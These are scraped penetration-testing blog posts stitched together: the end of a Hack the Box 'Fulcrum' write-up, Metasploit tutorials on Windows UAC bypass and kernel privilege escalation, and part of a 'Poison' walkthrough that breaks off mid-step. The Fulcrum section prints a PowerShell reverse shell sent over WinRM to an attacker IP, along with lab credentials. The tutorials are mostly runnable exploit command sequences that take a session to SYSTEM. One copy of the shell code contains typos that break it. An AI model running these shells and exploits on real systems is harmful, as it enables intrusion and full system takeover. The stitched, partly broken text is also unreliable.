Invoke-Command -ComputerName file.fulcrum.local -Credentail fulcrum.local\btables -Port 5985 -ScriptBlock {$client = New-Object System.Net.Sockets.TCPClient('10.10.14.6',53);$stream =$client.GertStream(); [byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes.0 $bytes.Lenght)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String); $sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘>’;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Lenght);$stream.Flush();$client.Close() }
![[Image: 23.PNG?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-TYLXKt4X39E/W5_XfoGwo5I/AAAAAAAAaR4/fA22FbAjKy48OKP5uZa4-Lz_KC28z3SoQCEwYBhgL/s1600/23.PNG?w=687&ssl=1)
We set up our listener using netcat and get our reverse shell. We check for the available files and find a file called user.txt. We open it and find the first flag.
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-WFi5fqfk06s/W5_XgDmSRoI/AAAAAAAAaSA/eSPRudIA7Ho_tmjVMGSb5M0JQWVwnNIoACEwYBhgL/s1600/24.png?w=687&ssl=1)
Now as we have a shell on the file server. We will use the credentials we found earlier to get access to the DC server.
net use \\dc.fulcrum.local\netlogon /user:fulcrum\btables ++FileServerLogon12345++
1
net use \\dc.fulcrum.local\netlogon /user:fulcrum\btables ++FileServerLogon12345++
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-ew0YQaOrchU/W5_XgrRzKfI/AAAAAAAAaSA/E_8K3OZUvuYUnodxGDdYtTvlCcJIh_yMACEwYBhgL/s1600/25.png?w=687&ssl=1)
When we will connect to DC server we find multiple ps1 scripts that contain credentials which will further help us to get access on the server.
![[Image: 26.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-cym9au1ixVQ/W5_XhOh5oBI/AAAAAAAAaSI/FwYjyZYgUWcMxhnXt5r0W3wCVn5Yp_8vwCEwYBhgL/s1600/26.png?w=687&ssl=1)
We create a script to check all right credentials in the file.
![[Image: 27.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-aPx4mjmblFM/W5_Xh7O4FqI/AAAAAAAAaR4/WFugUwQdbxI0avR9mM-qfv6EIPAd1tdVACEwYBhgL/s1600/27.png?w=687&ssl=1)
Now we create a script to get a shell on the domain controller server.
Invoke-Command -ComputerName dc.fulcrum.local -Credential 923a -Port 5985 -ScriptBlock { $client = New-Object System.Net.Sockets.TCPClient('10.10.14.6',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() }
1
Invoke-Command -ComputerName dc.fulcrum.local -Credential 923a -Port 5985 -ScriptBlock { $client = New-Object System.Net.Sockets.TCPClient('10.10.14.6',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() }
![[Image: 28.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-3eRc58xPokQ/W5_XiWc1SmI/AAAAAAAAaSE/gY-NIvvvHSQHCbkhhVDXpNYZqJAMXAppwCEwYBhgL/s1600/28.png?w=687&ssl=1)
When we run the script, we get a pop on the windows screen that asks for a password. We use the password we find earlier with the help of a script.
![[Image: 29.PNG?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-FiK6UxwE8vY/W5_XixGB4VI/AAAAAAAAaSI/MxUNiThpNeMtpEvvk0v4gPXYSpobqR26ACEwYBhgL/s1600/29.PNG?w=687&ssl=1)
We set up the listener and wait for the reverse shell. After getting the reverse shell in c:\Users\Administrator\Desktop we find a file called root.txt, we take a look at the content of the file and find our 2nd flag.
nc -lvp 53
1
nc -lvp 53
![[Image: 35.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-xty2ZJnu1zU/W5_XjFTMIBI/AAAAAAAAaR8/0Vr47vra3_IroEBXw4m557ISS3TsQE1LQCEwYBhgL/s1600/35.png?w=687&ssl=1)
In this Post, we are shedding light on User Account Control shortly known as UAC. We will also look at how it can potentially protect you from malicious software and ignoring UAC prompt can trouble your system.
Table of Content
Introduction to UAC - What is UAC?
- Working of UAC
Techniques
- Windows Escalate UAC Protection Bypass
- Windows Escalate UAC Protection Bypass (In Memory Injection)
- Windows UAC Protection Bypass (Via FodHelper Registry Key)
- Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
- Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
Introduction to User Account Control
What is User Account Control?
A well-structured User Account Control introduced with Microsoft’s Windows Vista and Windows Server 2008 operating systems to prevent unwanted system-wide changes in a way that is foreseen and requires a minimal effort.
In other words, it is a security feature of Windows which supports I preventing unauthorized modifications to the operating system UAC makes sure that the certain changes are made only with authorization from the administrator. If the changes are not permitted by the administrator, they are not executed, and Windows remains unchanged.
How does UAC work?
UAC works by preventing a program from carrying out any tasks which involve system changes/specific tasks. The operations which will not work unless the process attempting to carry them out is running with administrator rights. If you run a program as administrator, it will have more privileges since it would be “elevated”, compared to the programs running which are not running as administrator.
Some things which cannot be done without administrator rights:- Registry modifications (if the registry key is under e.g. HKEY_LOCAL_MACHINE (since it affects more than one user) it will be read-only)
- Loading a device driver
- DLL injection
- Modifying system time (clock)
- Modifying User Account Control settings (via Registry, it can be enabled/disabled but you need the correct privileges to do this)
- Modify protected directories (e.g. Windows folder, Program Files)
- Scheduled tasks (e.g. to auto-start with administrator privileges)
UAC won’t just automatically block malicious software, the purpose wasn’t to determine if a program is malicious or not. It’s down to the user just as much. If a program is going to be executed with administrator privileges, the user will be alerted and will need to provide confirmation.
[To see content please register here]
Techniques
Firstly exploit the target machine to obtain the meterpreter. Once you get the meterpreter session 1 then type the following command to check system authority and privileges.
getsystem
getuid
1
2
getsystem
getuid
If you don’t have system/admin authorities and privileges. Then you should go for bypass UAC Protection of the targeted system.
Windows Escalate UAC Protection Bypass
This module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off.
msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit
1
2
3
msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit
From the given image you can observe that meterpreter session 2 opened, now type the following command to determine the system authority privileges.
getsystem
getuid
1
2
getsystem
getuid
Great!! Here we got NT AUTHORITY\SYSTEM Privilege, now if you will type “shell” command, you will get access of command prompt with administrator privilege.
![[Image: 1.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-MLj6M5z9x50/W53gwey6pSI/AAAAAAAAaPU/W9QdjuMLjK4xkp-t9OT-QruLs9KQOjVPACLcBGAs/s1600/1.png?w=687)
Windows Escalate UAC Protection Bypass (In Memory Injection)
This module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off. This module uses the Reflective DLL Injection technique to drop only the DLL payload binary instead of three separate binaries in the standard technique. However, it requires the correct architecture to be selected, (use x64 for SYSWOW64 systems also). If specifying EXE::Custom your DLL should call ExitProcess() after starting your payload in a separate process.
msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit
1
2
3
msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit
From the given image you can observe that meterpreter session 2 opened, now type the following command to determine the system authority privileges.
getsystem
getuid
1
2
getsystem
getuid
Ultimately you will get NT AUTHORITY\SYSTEM Privilege, now if you will run “shell” command, you will get access of command prompt with administrator privilege.
![[Image: 3.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-wtjO0vwANDs/W53gwu8_-bI/AAAAAAAAaPY/b0SmuIsr6HAU_O6hSArtTi_BEO3YQojPQCLcBGAs/s1600/3.png?w=687)
Windows UAC Protection Bypass (Via FodHelper Registry Key)
This module will bypass Windows 10 UAC by hijacking a special key in the Registry under the current user hive and inserting a custom command that will get invoked when the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC flag turned off. This module modifies a registry key but cleans up the key once the payload has been invoked. The module does not require the architecture of the payload to match the OS. If specifying EXE::Custom your DLL should call ExitProcess() after starting your payload in a separate process.
msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit
1
2
3
msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit
From the given image you can observe that meterpreter session 2 opened, now type the following command to determine the system authority privileges.
getsystem
getuid
1
2
getsystem
getuid
Great!! Here we got NT AUTHORITY\SYSTEM Privilege, now if you will type “shell” command, you will get access of command prompt with administrator privilege.
![[Image: 4.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-iH5Inc5GTg4/W53gw36Bo3I/AAAAAAAAaPc/PQpLFtETqMUEZrF-efd7TS6LMW9VGiDXwCEwYBhgL/s1600/4.png?w=687)
Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
This module will bypass Windows UAC by hijacking a special key in the Registry under the current user hive, and inserting a custom command that will get invoked when the Windows Event Viewer is launched. It will spawn a second shell that has the UAC flag turned off. This module modifies a registry key, but cleans up the key once the payload has been invoked. The module does not require the architecture of the payload to match the OS. If specifying EXE::Custom your DLL should call ExitProcess() after starting your payload in a separate process.
msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit
1
2
3
msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit
From given image you can observe that meterpreter session 2 opened, now type the following command to determine the system authority privileges.
getsystem
getuid
1
2
getsystem
getuid
And again you will get NT AUTHORITY\SYSTEM Privilege.
![[Image: 5.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-enb14J_C8LA/W53gxPsr1DI/AAAAAAAAaPg/g2EUJutqTmM7MOYKK5gZDk-qXSWb9HMewCEwYBhgL/s1600/5.png?w=687)
Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
This module will bypass Windows UAC by creating COM handler registry entries in the HKCU hive. When certain high integrity processes are loaded, these registry entries are referenced resulting in the process loading user-controlled DLLs. These DLLs contain the payloads that result in elevated sessions. Registry key modifications are cleaned up after payload invocation. This module requires the architecture of the payload to match the OS, but the current low-privilege Meterpreter session architecture can be different. If specifying EXE::Custom your DLL should call ExitProcess() after starting your payload in a separate process. This module invokes the target binary via cmd.exe on the target. Therefore if cmd.exe access is restricted, this module will not run correctly.
msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit
1
2
3
msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit
From the given image you can observe that meterpreter session 2 opened, now type the following command to determine the system authority privileges.
getsystem
getuid
1
2
getsystem
getuid
Finally, you will get NT AUTHORITY\SYSTEM Privilege, now if you will again run “shell” command then you will get access of command prompt with administrator privilege and this way we can help of Metasploit post exploit to bypass UAC protection.
![[Image: 6.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-E9UGfeePMbA/W53gxgN00NI/AAAAAAAAaPk/tsVTjUcnXJgqZKhdFGvE5p6t-WwUXDo-ACEwYBhgL/s1600/6.png?w=687)
Hello Friends!! In our previous [To see content please register here] we had discussed “Vectors of Windows Privilege Escalation using the automated script” and today we are demonstrating the Windows privilege escalation via Kernel exploitation methodologies. For this purpose, we will utilize an in-built Metasploit module known as Local Exploit Suggester. The objective of this suggested is to just identify what parts of a system can be exploitable and to give us an insight on the best matching possible exploits available, which can be further utilized to elevate the privileges.
Table of content - Windows-Exploit-suggester
- Windows ClientCopyImage Win32k Exploit
- Windows TrackPopupMenu Win32k NULL Pointer Dereference
- Windows SYSTEM Escalation via KiTrap0D
- Windows Escalate Task Scheduler XML Privilege Escalation
- MS16-016 mrxdav.sys WebDav Local Privilege Escalation
- EPATHOBJ::pprFlattenRec Local Privilege Escalation
- MS13-053: NTUserMessageCall Win32k Kernel Pool Overflow
- MS16-032 Secondary Logon Handle Privilege Escalation
- RottenPotato
Windows-Exploit-suggester
The Metasploit in-built module suggests various local exploits that can be used to perform Privilege escalation and provides a suggestion based on the architecture, platform (i.e the operating system it’s being run on), session type and required default options. It saves our time as we don’t have to manually search around for local exploits until none of the options provided works.
It is also significant to note that, not ALL of these listed local exploits will be fired.
Usage
Note: For using the local exploit suggester, we must already have a Meterpreter session opened for our target machine. However, before running the Local Exploit suggester we need to put our existing active Meterpreter session to the background (CTRL + Z)
Below is the example of the same, let’s say our existing active Meterpreter session is 1
use post/multi/recon/local_exploit_suggester
set LHOST 192.168.1.107
set SESSION 1
exploit
1
2
3
4
use post/multi/recon/local_exploit_suggester
set LHOST 192.168.1.107
set SESSION 1
exploit
As you can observe it has suggested some post exploits against which the target is vulnerable and that can provide higher-privilege shell.
![[Image: 0.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-na8X7n-ydJE/W5X9dDvIgoI/AAAAAAAAaMc/IT2GTlae1xgJXD-7wuDlItWe5ji5enMPACEwYBhgL/s1600/0.png?w=687)
Windows ClientCopyImage Win32k Exploit
Vulnerabilities in Windows Kernel-Mode Drivers could allow elevation of privilege. This module exploits improper object handling in the win32k.sys kernel mode driver.
This module has been tested on vulnerable builds of Windows 7 x64 and x86, Windows 2008 R2 SP1 x64.
Let’s navigate to MSF console and execute this exploit
use exploit/windows/local/ms15_051_client_copy_image
set lhost 192.168.1.107
set session 1
exploit
1
2
3
4
use exploit/windows/local/ms15_051_client_copy_image
set lhost 192.168.1.107
set session 1
exploit
Another Meterpreter session gets opened, once the selected exploit has been executed
getsystem
getuid
1
2
getsystem
getuid
As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM
![[Image: 1.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-hz_b--b-J58/W5X9dN3MTDI/AAAAAAAAaNQ/zlcnw5C4xBcI5knhNQbzI33PbF4dJ-WgACEwYBhgL/s1600/1.png?w=687)
Windows TrackPopupMenu Win32k NULL Pointer Dereference
This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability can be triggered through the use of TrackPopupMenu. Under special conditions, the NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary code execution.
This module has been tested on Windows XP SP3, Windows Server 2003 SP2, Windows 7 SP1 Windows Server 2008 32bits and Windows Server 2008 R2 SP1 64 bits.
Let’s navigate to MSF console and execute this exploit
use exploit/windows/local/ms14_058_track_popup_menu
set lhost 192.168.1.107
set session 1
exploit
1
2
3
4
use exploit/windows/local/ms14_058_track_popup_menu
set lhost 192.168.1.107
set session 1
exploit
Another Meterpreter session gets opened, once the selected exploit has been executed
getsystem
getuid
1
2
getsystem
getuid
As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM
![[Image: 2.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-PkWBUa6gBt0/W5X9eP4yJlI/AAAAAAAAaNg/3ObWMMVKhrsv5kCj1cN58zmdNWdB175YgCEwYBhgL/s1600/2.png?w=687)
Windows SYSTEM Escalation via KiTrap0D
This module will create a new session with SYSTEM privileges via the KiTrap0D exploit If the session in use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows.
This module has been tested on vulnerable builds of Windows Server 2003, Windows Server 2008, Windows 7, XP for 32-bit Systems.
Let’s navigate to MSF console and execute this exploit
use exploit/windows/local/ms10_015_kitrap0d
set lhost 192.168.1.107
set session 1
exploit
1
2
3
4
use exploit/windows/local/ms10_015_kitrap0d
set lhost 192.168.1.107
set session 1
exploit
Another Meterpreter session gets opened, once the selected exploit has been executed
getsystem
getuid
1
2
getsystem
getuid
As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM
![[Image: 3.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-WwQmpHxalZg/W5X9eeDovpI/AAAAAAAAaNc/qjBIxBGwPTAfhcB13aUc8ul2rErH9NmgwCEwYBhgL/s1600/3.png?w=687)
Windows Escalate Task Scheduler XML Privilege Escalation
This Vulnerability in Task Scheduler could allow elevation of privileges
This security updates resolves a publicly disclosed vulnerability in Windows Task Scheduler. The vulnerability could allow elevation of privilege if an attacker logged on to an affected system and ran a specially crafted application. An attacker must have valid logon credentials and be able to log on locally to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users.
This module has been tested on vulnerable builds of Windows Vista, Windows 7, Windows Server 2008 x64 and x86
Let’s navigate to MSF console and execute this exploit
use exploit/windows/local/ms10_092_schelevator
set lhost 192.168.1.107
set session 1
exploit
1
2
3
4
use exploit/windows/local/ms10_092_schelevator
set lhost 192.168.1.107
set session 1
exploit
Another Meterpreter session gets opened, once the selected exploit has been executed
getsystem
getuid
1
2
getsystem
getuid
As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM
MS16-016 mrxdav.sys WebDav Local Privilege Escalation
This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn a process on the target system and elevate its privileges to NT AUTHORITY\SYSTEM before executing the specified payload within the context of the elevated process.
This module has been tested on the vulnerable build of Windows 7 SP1, x86 architecture
Let’s navigate to MSF console and execute this exploit
use exploit/windows/local/ms16_016_webdav
set lhost 192.168.1.107
set session 1
exploit
1
2
3
4
use exploit/windows/local/ms16_016_webdav
set lhost 192.168.1.107
set session 1
exploit
Another Meterpreter session gets opened, once the selected exploit has been executed
getsystem
getuid
1
2
getsystem
getuid
As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM
![[Image: 5.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-iw1y3u6GH1M/W5X9evbEaeI/AAAAAAAAaNg/3QcpMpIN05ovTwktiPuk6zVqyLOUsfHjQCEwYBhgL/s1600/5.png?w=687)
EPATHOBJ::pprFlattenRec Local Privilege Escalation
This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage of uninitialized data which allows to corrupt memory.
At the moment, the module has been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.
Let’s navigate to MSF console and execute this exploit
use exploit/windows/local/ppr_flatten_rec
set lhost 192.168.1.107
set session 1
exploit
1
2
3
4
use exploit/windows/local/ppr_flatten_rec
set lhost 192.168.1.107
set session 1
exploit
Another Meterpreter session gets opened, once the selected exploit has been executed
getsystem
getuid
1
2
getsystem
getuid
As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM
![[Image: 6.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-50JEITNrWAg/W5X9e6spKLI/AAAAAAAAaNo/PJNJTAojY-gLRGgb_4uUWcvGM-xlfI-dACEwYBhgL/s1600/6.png?w=687)
MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
A kernel pool overflow in Win32k which allows local privilege escalation. The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process). This allows any unprivileged process to freely migrate to winlogon.exe, achieving privilege escalation. Used in pwn2own 2013 by MWR to break out of chrome’s sandbox. NOTE: when you exit the meterpreter session, winlogon.exe is likely to crash.
At the moment, the module has been tested successfully on Windows 7 SP1 x86
Let’s navigate to MSF console and execute this exploit
use exploit/windows/local/ms13_053_ schlamperei
set lhost 192.168.1.107
set session 1
exploit
1
2
3
4
use exploit/windows/local/ms13_053_ schlamperei
set lhost 192.168.1.107
set session 1
exploit
Another Meterpreter session gets opened, once the selected exploit has been executed
getsystem
getuid
1
2
getsystem
getuid
As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM
![[Image: 7.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-XINCEa0_D58/W5X9fGJI9hI/AAAAAAAAaNk/45xBBBPUChAT9vj5mil5-6hn204WZmIMgCEwYBhgL/s1600/7.png?w=687)
MS16-032 Secondary Logon Handle Privilege Escalation
This module exploits the lack of sanitization of standard handles in Windows’ Secondary Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This module will only work against those versions of Windows with Powershell 2.0 or later and systems with two or more CPU cores.
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
exploit
1
2
3
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
exploit
Another Meterpreter session gets opened, once the selected exploit has been executed
getsystem
getuid
1
2
getsystem
getuid
As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM
![[Image: 8.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-P1arpdUb6W0/W5X9fU2tK1I/AAAAAAAAaNo/IgS6EQNIgusnGBrRmrvNloR8dXCVECmJQCEwYBhgL/s1600/8.png?w=687)
RottenPotato
RottenPotato local privilege escalation from service account to SYSTEM.
It is important to impersonate the token (or run list_tokens -u) quickly after running the binary. With the current implementation, the token seems to disappear shortly after the binary is run. It is also important to follow the order of the steps. Make sure you “use incognito” before running the binary.
Incognito option in the meterpreter session was originally a stand-alone application that permitted you to impersonate user tokens when successfully compromising a system. And then we need to do first is identify if there are any valid tokens on this system.
load incognito
list_tokens -u
1
2
load incognito
list_tokens -u
If we talk related to impersonate token then you can see currently there is no token available.
![[Image: 23.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-jvqLb_hkAKY/WvHAyYuuwLI/AAAAAAAAWxc/To2KOzpvQuk2vV9BhIeVtf0yrmrWPmv-wCLcBGAs/s1600/23.png?w=687)
Now downloads Rottenpotato from GitHub for privilege escalation.
git clone //github.com/foxglovesec/RottenPotato.git
cd RottenPotato
1
2
git clone //github.com/foxglovesec/RottenPotato.git
cd RottenPotato
After downloading it will give rottenpotato.exe file.
Upload the exe file into the victim’s machine
upload /root/Desktop/RottenPotato/rottenpotato.exe .
1
upload /root/Desktop/RottenPotato/rottenpotato.exe .
![[Image: 24.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-DSMHJCIuauc/WvHAyk4CtmI/AAAAAAAAWxg/lx-2mzCBgG4cZ8veWoztGTe0PgRslm11wCLcBGAs/s1600/24.png?w=687)
Now type below command for executing exe file and then add SYSTEM token under impersonate user tokens.
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
1
2
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
As we can see that we are logged into the system as Windows privileged user NT AUTHORITY\SYSTEM
![[Image: 25.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-d0Fw4LlIplo/WvHAzKr2FhI/AAAAAAAAWxk/7u57iMzI5-chBzetF-j0h99qHC9bH7bgwCLcBGAs/s1600/25.png?w=687)
Hello everyone and welcome to yet another CTF challenge from Hack the Box, called ‘Poison,’ which is available online for those who want to increase their skills in penetration testing and black box testing. Poison is a retired vulnerable lab presented by Hack the Box for making online penetration testing practice suitable to your experience level; they have a large collection of vulnerable labs as challenges ranging from beginner to expert level.
Level: Easy
Task: Find user.txt and root.txt in the victim’s machine
Methodology:
- Port scanning
- Using LFI to find the username
- Gaining encrypted password file using LFI
- Decrypting password file
- Logging in to SSH using a decrypted password
- Transferring ZIP file and extracting to find a secret file
- Discovery of VNC on the machine
- VNC tunneling over SSH to get a root shell
- Grabbing flag
Let’s get started then!
Since these labs have a static IP, the IP address for poison is 10.10.10.84. Let us scan the VM with the most popular port scanning tool, nmap.
nmap -A 10.10.10.84
1
nmap -A 10.10.10.84
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-HTJoUo0_wsk/W5QI3HGkOLI/AAAAAAAAaKI/0LkjsJ5WHQQiwXrlqbKDS1i379mrnLmDACEwYBhgL/s1600/1.png?w=687&ssl=1)
From the result above we found two working ports on the VM, port 22 and 80 which are universal default ports for SSH and HTTP.
We immediately headed over to the web page.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-f_EWGI2zc_A/W5QI5Tf0dPI/AAAAAAAAaKk/eUrHTThaqKAgEmnTRaYi70qZPXiYG5w0gCEwYBhgL/s1600/2.png?w=687&ssl=1)
It was crystal clear only by reading that there was an LFI vulnerability involved. We tested it by inputting /etc/passwd in the script name section.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-w9e0or2f_UI/W5QI5gzaEDI/AAAAAAAAaKo/lzwZckSk4joHA1kqpmlBmHhKna9k83lMQCEwYBhgL/s1600/3.png?w=687&ssl=1)
Which led us to the following output
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-jreCi41jVCY/W5QI6DG9qQI/AAAAAAAAaKw/x3ZmeiFdJO89yNu1VRjirESW4btM5C1wACEwYBhgL/s1600/4.png?w=687&ssl=1)
From here we found that the username was “charix.” But before moving on to that part we tried all the script names one by one given in the previous web page.
It was going all monotonous until we found an interesting text file in the “listfiles.php” script.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-NmTvKW0mKLs/W5QI55ZRC-I/AAAAAAAAaLQ/io3Brf2ENpkDIFWUg1PYD--aYLV2zd83gCEwYBhgL/s1600/5.png?w=687&ssl=1)
The listfiles.php was a script that enumerated an array of the files
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-szS8-TfVMCQ/W5QI6ocRwDI/AAAAAAAAaLU/kfYq1e8vRoosZJexvHmkAUYVrItFMsIYwCEwYBhgL/s1600/6.png?w=687&ssl=1)
We found an interesting file called pwdbackup.txt. On opening it by the same process we found an encrypted password.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-Bm9L2fHHK1A/W5QI7X5-fiI/AAAAAAAAaLY/SisOZY7BCvIFVXLrl0oqz7jM44gs2cZEACEwYBhgL/s1600/7.png?w=687&ssl=1)
But it wasn’t normal encryption, the password was encrypted 13 times. Just by looking we could tell that it was base64 encoding. So, we copied the password in a notepad file and removed the spaces between the password’s lines (present by default) and wrote the following command to decrypt it:
cat decode | base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 –d
1
cat decode | base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 –d
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-BnXWVE6Q3lI/W5QI7VcW4EI/AAAAAAAAaLY/IP05ec4UF1Mrz5q7BXkRxH_53DWSfX7FQCEwYBhgL/s1600/8.png?w=687&ssl=1)
Voila! The password was found to be Charix!2#4%6&8(0
A complete logical shot in the dark was that it was the password to secure shell of the victim. So, we tried logging in to SSH.
ssh [email protected]
ls
1
2
ssh [email protected]
ls
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-0P7yDby5N5g/W5QI7RR5nOI/AAAAAAAAaLU/gMlr3yL0mRUjnw_1hbPscw31A6cCqJdtQCEwYBhgL/s1600/9.png?w=687&ssl=1)
And just like that, we were logged in! We found the first flag (user.txt) and another file called secret.zip
We tried unzipping it on the spot but it didn’t work. So, instead, we transferred the file to our system using scp (read how to transfer using SCP [To see content please register here] )
scp [email protected] ecret.zip /root/Desktop/
cd Desktop
unzip secret.zip
1
2
3
scp [email protected] ecret.zip /root/Desktop/
cd Desktop
unzip secret.zip
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-uYaA4j9zYX0/W5QI3K10s3I/AAAAAAAAaLE/0MQTMaOLkGYkBXIbB99H0dYQMN6uu9wMwCEwYBhgL/s1600/10.png?w=687&ssl=1)
We got a file “secret” which could be the password of another service.
We were far from convinced that no other service was running so we scanned the victim using socat. (To read more: [To see content please register here] )
sockstat -4 -l
1
sockstat -4 -l
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-BljkGNAbdkQ/W5QI4LstcuI/AAAAAAAAaLQ/Bd3xeXp3FzY4pK-sRoMdZJciLkyuR2qFQCEwYBhgL/s1600/11.png?w=687&ssl=1)
Port number 5901 and 5908 were open which clearly are the port numbers for VNC! This could be our way in.
We followed the SSH tunneling methodology (refer [To see content please register here] )
ssh -L 5901:127.0.0.1:5901 [email protected]
1
ssh -L 5901:127.0.0.1:5901 [email protected]
